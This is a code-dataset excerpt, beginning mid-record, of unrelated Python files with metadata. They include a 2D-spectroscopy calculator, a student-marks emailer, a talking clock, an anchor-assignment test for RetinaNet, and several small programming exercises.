def set_data(self, data, dtype=\"Tot\"):\n if dtype == \"Tot\":\n self.data = data\n \n elif dtype == \"Reph\":\n \n self.reph2D = data\n \n elif dtype == \"Nonr\":\n \n self.nonr2D = data\n \n else:\n \n raise Exception(\"Unknow type of data: \"+dtype)\n \n def save(self, filename):\n super().save(filename)\n \n def load(self, filename):\n super().load(filename)\n \n \nclass TwoDSpectrumContainer(TwoDSpectrumBase):\n \n def __init__(self):\n pass\n \n \n def plot(self, axis=None, part=\"ReTot\"):\n \n if part == \"ReTot\":\n # Real part of the total spectrum\n spect2D = numpy.real(self.reph2D) + numpy.real(self.nonr2D)\n \n else:\n raise Exception(\"Undefined part of the spectrum: \"+part)\n \n \n if axis is not None: \n w1_min = axis[0]\n w1_max = axis[1]\n w3_min = axis[2]\n w3_max = axis[3]\n\n (i1_min, dist) = self.xaxis.locate(w1_min)\n (i1_max, dist) = self.xaxis.locate(w1_max)\n\n (i3_min, dist) = self.yaxis.locate(w3_min)\n (i3_max, dist) = self.yaxis.locate(w3_max) \n \n else:\n i1_min = 0\n i1_max = self.xaxis.length\n i3_min = 0\n i3_max = self.yaxis.length\n \n \n #\n # Plotting with given units on axes\n #\n \n realout = spect2D[i1_min:i1_max,i3_min:i3_max]\n \n Ncontour = 100\n plt.contourf(self.xaxis.data[i1_min:i1_max],\n self.yaxis.data[i3_min:i3_max],\n realout, Ncontour) \n \n \n def devide_by(self, val):\n \"\"\"Devides the total spectrum by a value\n \n \"\"\"\n self.reph2D = self.reph2D/val\n self.nonr2D = self.nonr2D/val\n \n \nclass TwoDSpectrumCalculator:\n \"\"\"Calculator of the 2D spectrum\n \n \n Enables setting up parameters of 2D spectrum calculation for later\n evaluation. The method `calculate` returns TwoDSpectrumContainer\n with a 2D spectrum.\n \n Parameters\n ----------\n \n \n \"\"\"\n\n t1axis = derived_type(\"t1axis\",TimeAxis)\n t2axis = derived_type(\"t2axis\",TimeAxis)\n t3axis = derived_type(\"t3axis\",TimeAxis)\n \n system = derived_type(\"system\",[Molecule,Aggregate])\n \n def __init__(self, t1axis, t2axis, t3axis,\n system=None,\n dynamics=\"secular\",\n relaxation_tensor=None,\n rate_matrix=None,\n effective_hamiltonian=None):\n self.t1axis = t1axis\n self.t2axis = t2axis\n self.t3axis = t3axis\n \n #FIXME: check the compatibility of the axes \n \n if system is not None:\n self.system = system\n \n #FIXME: properties to be protected\n self.dynamics = dynamics\n \n # unprotected properties\n self.data = None\n \n self._relaxation_tensor = None\n self._rate_matrix = None\n self._relaxation_hamiltonian = None\n self._has_relaxation_tensor = False\n if relaxation_tensor is not None:\n self._relaxation_tensor = relaxation_tensor\n self._has_relaxation_tensor = True\n if effective_hamiltonian is not None:\n self._relaxation_hamiltonian = effective_hamiltonian\n if rate_matrix is not None:\n self._rate_matrix = rate_matrix\n self._has_rate_matrix = True\n \n self._have_aceto = False\n \n def _vprint(self, string):\n \"\"\"Prints a string if the self.verbose attribute is True\n \n \"\"\"\n if self.verbose:\n print(string)\n \n def calculate(self, rwa=0.0, verbose=False):\n \"\"\"Returns 2D spectrum\n \n Calculates and returns TwoDSpectrumContainer containing 2D spectrum\n based on the parameters specified in this object.\n \n \n \"\"\"\n self.verbose = verbose\n \n try:\n \n import aceto.nr3td as nr3td \n from aceto.lab_settings import lab_settings\n from aceto.band_system import band_system \n self._have_aceto = True\n \n except:\n #\n # FIXME: There should be an optional warning and a fall back onto\n # quantarhei.implementations.aceto module\n #\n raise Exception(\"Aceto not available\")\n \n from ..implementations.aceto import nr3td\n \n self._have_aceto = False\n \n \n if self._have_aceto:\n \n # calculate 2D spectrum using aceto library\n\n ###############################################################################\n #\n # Create band_system from quantarhei classes\n #\n ###############################################################################\n \n if isinstance(self.system, Aggregate):\n \n pass\n \n else:\n \n raise Exception(\"Molecule 2D not implememted\")\n \n agg = self.system\n \n #\n # hamiltonian and transition dipole moment operators\n #\n H = agg.get_Hamiltonian()\n D = agg.get_TransitionDipoleMoment()\n \n #\n # Construct band_system object\n #\n Nb = 3\n Ns = numpy.zeros(Nb, dtype=numpy.int)\n Ns[0] = 1\n Ns[1] = agg.nmono\n Ns[2] = Ns[1]*(Ns[1]-1)/2\n sys = band_system(Nb, Ns)\n \n \n #\n # Set energies\n #\n en = numpy.zeros(sys.Ne, dtype=numpy.float64)\n #if True:\n with eigenbasis_of(H):\n for i in range(sys.Ne):\n en[i] = H.data[i,i]\n sys.set_energies(en)\n \n #\n # Set transition dipole moments\n #\n dge_wr = D.data[0:Ns[0],Ns[0]:Ns[0]+Ns[1],:]\n def_wr = D.data[Ns[0]:Ns[0]+Ns[1],\n (Ns[0]+Ns[1]):(Ns[0]+Ns[1]+Ns[2]),:]\n \n dge = numpy.zeros((3,Ns[0],Ns[1]), dtype=numpy.float64)\n deff = numpy.zeros((3,Ns[1],Ns[2]), dtype=numpy.float64)\n \n for i in range(3):\n dge[i,:,:] = dge_wr[:,:,i]\n deff[i,:,:] = def_wr[:,:,i]\n sys.set_dipoles(0,1,dge)\n sys.set_dipoles(1,2,deff)\n \n \n #\n # Relaxation rates\n #\n KK = agg.get_RedfieldRateMatrix()\n \n # relaxation rate in single exciton band\n Kr = KK.data[Ns[0]:Ns[0]+Ns[1],Ns[0]:Ns[0]+Ns[1]]*10.0\n #print(1.0/Kr)\n \n sys.init_dephasing_rates()\n sys.set_relaxation_rates(1,Kr)\n \n \n #\n # Lineshape functions\n #\n sbi = agg.get_SystemBathInteraction()\n cfm = sbi.CC\n cfm.create_double_integral()\n \n \n #\n # Transformation matrices\n #\n SS = H.diagonalize()\n SS1 = SS[1:Ns[1]+1,1:Ns[1]+1]\n SS2 = SS[Ns[1]+1:,Ns[1]+1:]\n H.undiagonalize()\n \n sys.set_gofts(cfm._gofts) # line shape functions\n sys.set_sitep(cfm.cpointer) # pointer to sites\n sys.set_transcoef(1,SS1) # matrix of transformation coefficients \n sys.set_transcoef(2,SS2) # matrix of transformation coefficients \n\n #\n # Finding population evolution matrix\n #\n prop = PopulationPropagator(self.t1axis, Kr)\n Uee, Uc0 = prop.get_PropagationMatrix(self.t2axis,\n corrections=True)\n\n\n #\n # define lab settings\n #\n lab = lab_settings(lab_settings.FOUR_WAVE_MIXING)\n X = numpy.array([1.0, 0.0, 0.0], dtype=numpy.float64)\n lab.set_laser_polarizations(X, X, X, X)\n \n #\n # Other parameters\n #\n \n #dt = self.t1axis.step\n t1s = self.t1axis.data \n t3s = self.t3axis.data \n\n Nr1 = self.t1axis.length\n Nr3 = self.t3axis.length\n\n atype = self.t1axis.atype\n self.t1axis.atype = 'complete'\n oa1 = self.t1axis.get_FrequencyAxis() \n oa1.data += rwa\n oa1.start += rwa\n self.t1axis.atype = atype\n \n atype = self.t3axis.atype\n self.t3axis.atype = 'complete'\n oa3 = self.t3axis.get_FrequencyAxis() \n oa3.data += rwa\n oa3.start += rwa\n self.t3axis.atype = atype\n \n tc = 0\n twods = []\n \n teetoos = self.t2axis.data\n for tt2 in teetoos:\n\n #\n # Initialize response storage\n #\n resp_r = numpy.zeros((Nr1, Nr3), \n dtype=numpy.complex128, order='F')\n resp_n = numpy.zeros((Nr1, Nr3), \n dtype=numpy.complex128, order='F')\n\n # FIXME: which on axis we should be looking for it2 ??? \n (it2, err) = self.t1axis.locate(tt2) \n self._vprint(\"t2 = \"+str(tt2)+\"fs (it2 = \"+str(it2)+\")\")\n \n #\n # calcute response\n #\n self._vprint(\"calculating response: \")\n rmin = 0.0001\n t1 = time.time()\n \n self._vprint(\" - ground state bleach\")\n # GSB\n nr3td.nr3_r3g(lab, sys, it2, t1s, t3s, rwa, rmin, resp_r) \n nr3td.nr3_r4g(lab, sys, it2, t1s, t3s, rwa, rmin, resp_n)\n \n self._vprint(\" - stimulated emission\")\n # SE\n nr3td.nr3_r1g(lab, sys, it2, t1s, t3s, rwa, rmin, resp_n)\n nr3td.nr3_r2g(lab, sys, it2, t1s, t3s, rwa, rmin, resp_r)\n \n self._vprint(\" - excited state absorption\")\n # ESA\n nr3td.nr3_r1fs(lab, sys, it2, t1s, t3s, rwa, rmin, resp_r)\n nr3td.nr3_r2fs(lab, sys, it2, t1s, t3s, rwa, rmin, resp_n)\n \n # Transfer\n sys.set_population_propagation_matrix(Uee[:,:,tc]-Uc0[:,:,tc])\n \n self._vprint(\" - stimulated emission with transfer\") \n # SE\n nr3td.nr3_r1g_trans(lab, sys, it2, t1s, t3s, rwa, rmin, resp_n)\n nr3td.nr3_r2g_trans(lab, sys, it2, t1s, t3s, rwa, rmin, resp_r)\n \n self._vprint(\" - excited state absorption with transfer\") \n # ESA\n nr3td.nr3_r1fs_trans(lab, sys, it2, t1s, t3s, rwa, rmin, resp_r)\n nr3td.nr3_r2fs_trans(lab, sys, it2, t1s, t3s, rwa, rmin, resp_n)\n \n \n t2 = time.time()\n self._vprint(\"... calculated in \"+str(t2-t1)+\" sec\")\n \n \n #\n # Calculate corresponding 2D spectrum\n #\n \n ftresp = numpy.fft.fft(resp_r,axis=1)\n ftresp = numpy.fft.ifft(ftresp,axis=0)\n reph2D = numpy.fft.fftshift(ftresp)\n \n ftresp = numpy.fft.ifft(resp_n,axis=1)\n ftresp = numpy.fft.ifft(ftresp,axis=0)*ftresp.shape[1]\n nonr2D = numpy.fft.fftshift(ftresp)\n \n \n onetwod = TwoDSpectrumContainer()\n onetwod.set_axis_1(oa1)\n onetwod.set_axis_3(oa3)\n onetwod.set_data(reph2D, dtype=\"Reph\")\n onetwod.set_data(nonr2D, dtype=\"Nonr\")\n \n twods.append(onetwod)\n tc += 1 \n \n return twods\n \n else:\n \n # fall bakc on quantarhei's own implementation\n \n ret = TwoDSpectrumContainer()\n \n \n return ret\n \n \n \n \n ","sub_path":"quantarhei/spectroscopy/twod2.py","file_name":"twod2.py","file_ext":"py","file_size_in_byte":13741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"119548909","text":"#!/usr/local/bin/python2.7\n# encoding: utf-8\n\n'''\nCircle, outline only : GL_LINE_STRIP\nvertices are ordered clockwise : 12, 1, 2, 3, 4, 5...\nnumber of vertices per half-circle for a smooth result is : radius/5 +3\n'''\n\n#--- IMPORTS ------------------------------------------------------------------\nfrom math import pi, sin, cos\nfrom bw import *\n\n##--- CONSTANTS AND VARIABLES -------------------------------------------------\nradius=100\nstepangle = pi/(int(radius/5)+3)\nphi=0\nverts=[]\n\n#--- VERTEX GENERATION --------------------------------------------------------\nverts.append((0, radius))\nwhile phi NoneType\n\n Send an email to recepient with subject line subject and message\n body message_body.\n\n '''\n\n # Build the message header\n header = ('From: %s\\nTo: %s\\nSubject: %s\\r\\n\\r\\n' %\n (sender, recipient, subject))\n\n # Actually send the message\n with os.popen('%s -t' % (sendmail_loc), 'w') as email:\n email.write(header + message_body)\n\n\ndef send_mails(students, subject, path_pref, path_suff):\n '''({str: Student}, str, str, str) -> NoneType\n\n Send an email to each student in the dictionary of Students (by\n student_id), with subject subject and the message body being the\n contents of a file path_pref/Student.utorid/path_suff.\n\n '''\n\n for student in students.values():\n try:\n with open(os.path.join(path_pref,\n student.student_id,\n path_suff)) as markfile:\n body = markfile.read()\n except IOError as error:\n print('No result for %s: %s' % (student.student_id, error))\n\n send_mail(student.email, subject, body)\n\n\nif __name__ == '__main__':\n\n # get args\n PARSER = argparse.ArgumentParser(\n description=('Email contents of result files to students.\\n'))\n PARSER.add_argument('-s', '--subject', help='The subject line.')\n PARSER.add_argument(\n '-c', '--classlist',\n help='Path to the classlist file in BlackBoard format.')\n PARSER.add_argument(\n '-p', '--path_prefix',\n help=('Prefix of the path to the file to email: ' +\n 'up to student submission directory.'))\n PARSER.add_argument(\n '-s', '--path_suffix',\n help=('Sufffix of the path to the file to email: ' +\n 'from the student submission directory.'))\n ARGS = PARSER.parse_args()\n\n # email\n with open(ARGS.classlist) as clslist:\n send_mails(load_bb(clslist),\n ARGS.subject,\n ARGS.path_prefix if ARGS.path_prefix else '',\n ARGS.path_suffix if ARGS.path_suffix else '')\n","sub_path":"utils/emailmarks.py","file_name":"emailmarks.py","file_ext":"py","file_size_in_byte":2476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"71045450","text":"\"\"\"\nGiven a series as shown below:\n\n 1 2\n 3 4 5 6\n 7 8 9 10 11 12\n 13 14 15 16 17 18 19 20\n ..........................\n ............................\n (so on)\n\nYou are given a number N, you need to write a program to find the sum of all elements in the N-th row of above series.\n\nInput:\nFirst line of input contains a single integer T which denotes the number of test cases. First line of each test case contains a single intger N.\n\nOutput:\nFor each test case, print the sum of all the elements present in Nth row of above series.\n\nConstraints:\n1<=T<=100\n1<=N<=100\n\nExample:\nInput:\n2\n2\n4\nOutput:\n18\n132\n\"\"\"\n\n\ndef sum_terms_nth_row(n):\n count = 0\n a = n * (n - 1) + 1\n b = n * (n + 1)\n for x in range(a, b + 1):\n count += x\n return count\n\n\nif __name__ == '__main__':\n t = int(input())\n for i in range(t):\n n = int(input())\n print(sum_terms_nth_row(n))\n","sub_path":"practice/Basic/sum_terms_nth_row.py","file_name":"sum_terms_nth_row.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"529721703","text":"\"\"\"ROSARIO VALERO MIRANDA - 1º DAW - PRACTICA5 - EJERCICIO 8\r\nEscriu un programa que et demani primer un nombre i després et demani nombres\r\nfins a què la suma dels nombres introduïts coincideixi amb el nombre inicial.\r\nEl programa termina escribint la llista de nombres.\"\"\"\r\n\r\nprint(\"Introduce el número limite\")\r\nnum=int(input())\r\n\r\nprint(\"Introduce un valor\")\r\nnum1=int(input())\r\n\r\n\r\nlista=[]\r\n\r\nwhile num1>num:\r\n print(num1,\"es más grande.Introduce otro valor\")\r\n num1=int(input())\r\nnum=num-num1\r\nlista.append(num1)\r\n\r\nwhile num>0:\r\n print(\"Introduce otro valor\")\r\n num1=int(input())\r\n \r\n while num1>num:\r\n print(num1,\"es demasiado grande.Introduce otro valor\")\r\n num1=int(input())\r\n num=num-num1\r\n lista.append(num1)\r\n\r\nprint(\"El limite a superar es\", num, \".La lista creada és\", lista)\r\n","sub_path":"Ejercicios-Pr5/ejercicio8.py","file_name":"ejercicio8.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"337955461","text":"#!/usr/bin/env python3\n\n# Sam Kim\n# \n# This is my solution to Talking Clock, implemented with the bonus verbal part.\n# The user will continually prompt the user to input any time (24H format)\n# and the given time will be read aloud and displayed on the console as output.\n# The user can also press 'Enter' to get the current time.\n#\n# Requires:\n# - Python 3\n# - PyAudio module (https://people.csail.mit.edu/hubert/pyaudio/)\n# - /sounds/ in same directory as this file\n\nimport pyaudio\nimport wave\nimport datetime\n\n# Global variable to play special sound in def play_audio(...)\nCURRENT_TIME = False\n\ndef get_hour_str(hour_int):\n hours = {\"0\":\"twelve\",\n \"1\":\"one\",\n \"2\":\"two\",\n \"3\":\"three\",\n \"4\":\"four\",\n \"5\":\"five\",\n \"6\":\"six\",\n \"7\":\"seven\",\n \"8\":\"eight\",\n \"9\":\"nine\",\n \"10\":\"ten\",\n \"11\":\"eleven\"}\n\n return hours[str(hour_int % 12)] + \" \"\n\ndef get_min_str(min_int):\n\n min_tens = {\"0\":\"\",\n \"1\":\"ten\",\n \"2\":\"twenty\",\n \"3\":\"thirty\",\n \"4\":\"forty\",\n \"5\":\"fifty\"}\n\n min_ones = {\"0\":\"\",\n \"1\":\"one\",\n \"2\":\"two\",\n \"3\":\"three\",\n \"4\":\"four\",\n \"5\":\"five\",\n \"6\":\"six\",\n \"7\":\"seven\",\n \"8\":\"eight\",\n \"9\":\"nine\"}\n\n min_teens = {\"10\":\"ten\",\n \"11\":\"eleven\",\n \"12\":\"twelve\",\n \"13\":\"thirteen\",\n \"14\":\"fourteen\",\n \"15\":\"fifteen\",\n \"16\":\"sixteen\",\n \"17\":\"seventeen\",\n \"18\":\"eighteen\",\n \"19\":\"nineteen\"}\n\n min_ten_int = min_int // 10\n min_ones_int = min_int % 10\n\n result = \"\"\n\n if (min_int == 0):\n return \"\"\n elif (min_int < 10):\n result = \"oh \" + min_ones[str(min_ones_int)]\n elif (min_int < 20):\n result = min_teens[str(min_int)]\n else:\n if (min_ones_int % 10 == 0):\n result = min_tens[str(min_ten_int)]\n else:\n result = min_tens[str(min_ten_int)] + \" \" + min_ones[str(min_ones_int)] \n\n return result + \" \"\n\ndef get_ampm_str(hour_int):\n return \"AM\" if (hour_int < 12) else \"PM\"\n\n# Given a valid time, prints a string of how the time would be read in English\ndef solution(time_str):\n\n hour_int = int(time_str[:time_str.index(':')])\n min_int = int(time_str[time_str.index(':') + 1:])\n \n play_audio(str(hour_int % 12), str(min_int), get_ampm_str(hour_int).lower())\n global CURRENT_TIME\n\n if CURRENT_TIME:\n start_str = \"It's currently \"\n CURRENT_TIME = False\n else:\n start_str = \"It's \"\n\n print((start_str + get_hour_str(hour_int) +\n get_min_str(min_int) + get_ampm_str(hour_int) + \"\\n\"))\n\n# For testing and main(), returns a list of all possible 24H times\ndef get_all_times():\n tests = []\n\n for i in range(24):\n for minute in range(60):\n hour = (\"0\" + str(i)) if (i < 10) else str(i)\n minute = (\"0\" + str(minute)) if (minute < 10) else str(minute)\n test = hour + \":\" + minute\n tests.append(test)\n\n return tests\n\n# Taken from PyAudio Docs (https://people.csail.mit.edu/hubert/pyaudio/docs/)\n# Plays a .wav file\ndef play_wf(path):\n CHUNK = 1024\n\n wf = wave.open(path, 'rb')\n\n # instantiate PyAudio (1)\n p = pyaudio.PyAudio()\n\n # open stream (2)\n stream = p.open(format=p.get_format_from_width(wf.getsampwidth()),\n channels=wf.getnchannels(),\n rate=wf.getframerate(),\n output=True)\n\n # read data\n data = wf.readframes(CHUNK)\n\n # play stream (3)\n while len(data) > 0:\n stream.write(data)\n data = wf.readframes(CHUNK)\n\n # stop stream (4)\n stream.stop_stream()\n stream.close()\n\n # close PyAudio (5)\n p.terminate()\n\n# Plays the necessary audio given hour, minute, and am/pm strings\ndef play_audio(hour, min, ampm):\n # Special horn for current time\n if CURRENT_TIME:\n play_wf(\"./sounds/announcement.wav\")\n\n # \"It's\"\n play_wf(\"./sounds/its.wav\")\n\n # hour\n if hour in [\"0\", \"12\"]: hour = \"12\"\n play_wf(\"./sounds/%s.wav\" % hour)\n\n # minute\n if min == \"0\":\n min = \"00\"\n elif int(min) < 10:\n play_wf(\"./sounds/o.wav\")\n play_wf(\"./sounds/%s.wav\" % min)\n\n # \"AM\" or \"PM\"\n play_wf(\"./sounds/%s.wav\" % ampm)\n\n# Loop until user wants to quit\ndef main():\n global CURRENT_TIME\n proper_times = get_all_times()\n print (\"Hi, welcome to my solution to Talking Clock...\\n\")\n\n while (True):\n time = input( (\"Input any valid time formatted like '00:00'.\\n\" + \n \"Press Enter for the current time.\\n\" + \n \"Enter 'q' to quit...\\n> \") ).strip()\n if (time.lower() == \"q\"):\n return\n elif (time == \"\"):\n now = datetime.datetime.now()\n time = str(now.hour) + \":\" + str(now.minute)\n CURRENT_TIME = True\n elif (time not in proper_times):\n print (\"Oops! Try again...\")\n continue\n\n solution(time)\n\nif __name__ == \"__main__\":\n main()","sub_path":"Challenge #321 [Easy] Talking Clock/talking_clock.py","file_name":"talking_clock.py","file_ext":"py","file_size_in_byte":5314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"326877701","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"\nBIOL7800 Assignment 5 Task 1\n\nAmie Settlecowski\n2 Feb. 2016\n\n\"\"\"\n\n\ndef cheer():\n\n count = [str(n) for n in range(2, 9, 2)]\n phrase = 'Who do we appreciate?'\n count_str = str((','.join(count)))\n print(count_str, ':', phrase)\n\ncheer()\n","sub_path":"answers/amiesett/task1_settlecowski.py","file_name":"task1_settlecowski.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"52256136","text":"import os \r\n\r\n\r\nos.environ['CUDA_DEVICE_ORDER'] = 'PCI_BUS_ID'\r\nos.environ['CUDA_VISIBLE_DEVICES'] = \"0\"\r\n\r\n\r\nimport tensorflow as tf \r\nimport numpy as np \r\n\r\nfrom np_anchors import create_target_assigner, batch_assign_targets, Anchor\r\nfrom object_detection import np_box_list as box_list\r\nfrom retinanet import retinanet\r\n\r\n\r\n# format: ymin,xmin, ymax, xmax\r\ntest_gt_boxes_list= [[\r\n [0.1, 0.1, 0.2,0.2],\r\n [0.3,0.3, 0.7,0.7],\r\n [0.8,0.8,0.9,0.9]\r\n] ]\r\n\r\ntest_gt_labels_list= [ [\r\n 1,2\r\n] ]\r\n\r\ntest_gt_boxes_list = np.array(test_gt_boxes_list,dtype=np.float32)\r\ntest_gt_labels_list = np.array(test_gt_labels_list, dtype=np.int32)\r\n# need to prepare this as one-hot vector format...\r\n\r\ndef create_one_hot_vector_gt_labels(gt_labels_index_list, vector_length):\r\n \"\"\"\r\n gt_labels_index_list: [batch,num_gt_labels] shaped np array with dtype int.\r\n \"\"\"\r\n batch_size = gt_labels_index_list.shape[0]\r\n gt_label_num = gt_labels_index_list.shape[1]\r\n empty_array = np.zeros((batch_size,gt_label_num, vector_length), dtype=np.float32)\r\n # empty_array[np.arange(gt_label_num), gt_labels_index_list] = 1\r\n \r\n # print(\"batch size:{}\".format(batch_size))\r\n batch_list=[]\r\n\r\n for batch_index in range(batch_size):\r\n single_gt_labels_index_list = gt_labels_index_list[batch_index]\r\n empty_array[batch_index,np.arange(gt_label_num), single_gt_labels_index_list] = 1.\r\n\r\n print(\"finished empty_array:{}\".format(empty_array))\r\n return empty_array\r\n\r\n\r\n\r\n\r\ndef _get_feature_map_shape(feature_map_list):\r\n output=[]\r\n for feature_map in feature_map_list:\r\n print(feature_map)\r\n shape = feature_map.get_shape().as_list()\r\n print(shape)\r\n output.append( (shape[1], shape[2]) )\r\n\r\n return output\r\n\r\ndef _assign_targets(gt_boxes_list, gt_labels_list, target_assigner, anchors):\r\n \"\"\"\r\n Assign gt targets\r\n Args:\r\n gt_boxes_list: a list of 2-D tensor of shape [num_boxes, 4] containing coordinates of gt boxes\r\n gt_labels_list: a list of 2-D one-hot tensors of shape [num_boxes, num_classes] containing gt classes\r\n Returns:\r\n batch_cls_targets: class tensor with shape [batch_size, num_anchors, num_classes]\r\n batch_reg_target: box tensor with shape [batch_size, num_anchors, 4]\r\n match_list: a list of matcher.Match object encoding the match between anchors and gt boxes for each image\r\n of the batch, with rows corresponding to gt-box and columns corresponding to anchors\r\n \"\"\"\r\n gt_boxlist_list = [box_list.BoxList(boxes) for boxes in gt_boxes_list]\r\n # gt_labels_with_bg = [tf.pad(gt_class, [[0, 0], [1, 0]], mode='CONSTANT')\r\n # for gt_class in gt_labels_list]\r\n anchors_boxlist = box_list.BoxList(anchors)\r\n print(\"inside _assign_targets, anchors_boxlist data={}\".format(anchors_boxlist.get()) )\r\n return batch_assign_targets(target_assigner,anchors_boxlist,gt_boxlist_list,gt_labels_list)\r\n\r\n\r\nimage_shape=(224,224)\r\n\r\nnum_classes=2\r\nnum_scales = 2\r\naspect_ratios = (1.0, 2.0, 0.5)\r\nanchor_scale = 4.0\r\n\r\ntest_gt_labels_list = create_one_hot_vector_gt_labels(test_gt_labels_list, num_classes+1)\r\n\r\n\r\nnum_anchors_per_loc = num_scales * len(aspect_ratios)\r\n\r\ninputs = tf.placeholder(tf.float32, shape=(1,224,224,3))\r\n\r\nprediction_dict = retinanet(inputs, num_classes, num_anchors_per_loc, is_training=True)\r\n\r\n\r\n\r\nfeature_map_shape_list = _get_feature_map_shape(prediction_dict[\"feature_map_list\"])\r\nanchor_generator = Anchor(feature_map_shape_list=feature_map_shape_list,\r\n img_size=image_shape,\r\n anchor_scale=anchor_scale,\r\n aspect_ratios=aspect_ratios,\r\n scales_per_octave=num_scales)\r\n\r\nanchors = anchor_generator.boxes\r\n\r\nprint(\"anchors shape:{}\".format(anchors.shape))\r\n\r\n# unmatched_class_label = tf.constant((num_classes + 1) * [0], tf.float32)\r\nunmatched_class_label = np.array((num_classes + 1) * [0], dtype=np.float32)\r\ntarget_assigner = create_target_assigner(unmatched_cls_target=unmatched_class_label)\r\n\r\n\r\n\r\n_assign_targets(test_gt_boxes_list, test_gt_labels_list, target_assigner, anchors)","sub_path":"create_anchor.py","file_name":"create_anchor.py","file_ext":"py","file_size_in_byte":4294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"513559873","text":"import os, csv, fnmatch\nimport time\nimport sys\nimport re\n#==============================================================================\ndef getFileTypes(fileName):\n if '.png' in fileName or '.jpg' in fileName:\n fileType = 'Image'\n elif '.csv' in fileName:\n fileType = 'CSV'\n elif '.xls' in fileName or '.xlsx' in fileName:\n fileType = 'Excel'\n elif '.txt' in fileName:\n fileType = 'Text'\n else:\n fileType = 'Unidentified'\n return fileType\n\ndef getFullFilePath(imFileList, dirName):\n fullFilePath = []\n for fileName in fnmatch.filter(imFileList, '*.*'):\n fullFilePath.append(os.path.join(dirName, fileName))\n return fullFilePath\n \ndef getCouponName(fileName):\n regex = re.compile(\"[0-9]{0,}[\\\\-_][0-9]{0,}[\\\\-_][0-9]{0,}\")\n matchArray = regex.findall(fileName)\n if(matchArray):\n return matchArray[0].replace('_', '-')\n else:\n return ''\n \ndef getImageAttributes(fileName):\n if '.png' in fileName or '.jpg' in fileName:\n name = fileName.split('.')[0]\n nameTypes = name.split('-')\n series = nameTypes[0]\n panel = nameTypes[1]\n coupon = nameTypes[2]\n attributes = [series, panel, coupon]\n return attributes\n else:\n return []\n \ndef getSeries(dirName):\n if 'DOE_I/' in dirName or 'DOE_I_' in dirName:\n return 'Series 2'\n elif 'DOE_II/' in dirName or 'DOE_II_' in dirName:\n return 'Series 6'\n elif 'DOE_IV/' in dirName or 'DOE_IV_' in dirName:\n return 'Series 10'\n#==============================================================================\n\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 2:\n print(\"Error in arguments passed.\\nStandard input format:\")\n print(\"$python3 \")\n sys.exit()\n datetime = time.strftime(\"%Y%m%d_%H%M%S\")\n nameOfCSV = 'graphFilePath_run_'+datetime+'.csv'\n nameOfDirectoryCsv = 'graphDirectory_run_'+datetime+'.csv'\n rootDirectory= sys.argv[1]\n headerSetFlag = False\n cleanedList = []\n couponList = list()\n dirList = list()\n #==============================================================================\n #creating the header row\n \n headerRow = [\"FullFilePath\",\"FileTypes\", \"CurrentDirectoryName\",\"SeriesName\",\\\n \"AllFileList\", \"CouponName\", \"Series\",\"Panel\", \"Coupon\"]\n \n #============================================================================== \n \n \n #creating the CSV file=========================================================\n with open(nameOfCSV, 'a',newline='') as csvFile:\n w = csv.writer(csvFile)\n w.writerow(headerRow)\n headerforDir = ['currentDirectory','currLabel', 'parentDirectory','PLabel', 'childDirectory', 'CLabel', \\\n 'NumOfFilesInside', 'NumofSubDir', 'SubDirLabels', 'FilePathsInsideCurr']\n with open(nameOfDirectoryCsv, 'a',newline='') as csvFileD:\n ww = csv.writer(csvFileD)\n ww.writerow(headerforDir)#write the header row\n for dirName, subDirList, imFileList in os.walk(rootDirectory):\n depth = len(dirName.rstrip(os.path.sep).split(os.path.sep))#find the depth of the curr dir\n currLabel = dirName.rstrip(os.path.sep).split(os.path.sep)[-1]#current directory label \n fullFilePath = getFullFilePath(imFileList, dirName) #get full path names for files.\n if depth >1:\n isOfSubDir = (os.path.sep).join((dirName.rstrip(os.path.sep).split(os.path.sep)[:-1])) #the parent directory\n Plabel = (dirName.rstrip(os.path.sep).split(os.path.sep)[-2])#parent directory label\n else:\n isOfSubDir = ''\n Plabel =''\n dirList = [dirName.strip().replace(' ','_'), currLabel.strip().replace(' ','_'),\\\n isOfSubDir.strip().replace(' ','_') ,Plabel.strip().replace(' ','_'),'','',\\\n len(imFileList),len(subDirList),','.join(subDirList).strip().replace(' ','_'),\\\n ','.join(fullFilePath).strip().replace(' ','_')]\n try:\n ww.writerow(dirList)#write the header of each level \n except:\n pass\n \n #for the stuff inside the subdirectories\n for bfsDir in subDirList:\n depth = len(dirName.rstrip(os.path.sep).split(os.path.sep))\n currLabel = dirName.rstrip(os.path.sep).split(os.path.sep)[-1]#current directory label\n filePathForSD = getFullFilePath(imFileList, dirName) #get full path names for files.\n if depth >1:\n isOfSubDir = (os.path.sep).join((dirName.rstrip(os.path.sep).split(os.path.sep)[:-1])) #the parent directory\n Plabel = (dirName.rstrip(os.path.sep).split(os.path.sep)[-2])\n else:\n isOfSubDir = ''\n Plabel = ''\n\n Clabel = bfsDir.split(os.path.sep)[-1]\n dirList = [dirName.strip().replace(' ','_') , currLabel.strip().replace(' ','_'),\\\n isOfSubDir.strip().replace(' ','_'), Plabel.strip().replace(' ','_') ,\\\n os.path.join(dirName, bfsDir).strip().replace(' ','_') ,Clabel.strip().replace(' ','_'),\\\n len(imFileList), '','',','.join(filePathForSD).strip().replace(' ' ,'_')]\n try:\n ww.writerow(dirList)\n except:\n pass\n \n #for individual files\n for fileName in fnmatch.filter(imFileList, '*.*'):\n filePath = os.path.join(dirName, fileName).strip().replace(' ','_')\n currentDirName = dirName.rstrip(os.path.sep).split(os.path.sep)[-1].strip().replace(' ','_')\n couponName = getCouponName(fileName)\n splitcoupon = couponName.split('-') if len(couponName) != 0 else ['','','']\n cleanedList = [filePath.strip().replace('\\\\','/'), getFileTypes(fileName), dirName.strip().replace('\\\\','/'),\\\n getSeries(dirName),fileName.strip().replace(' ','_'), couponName, 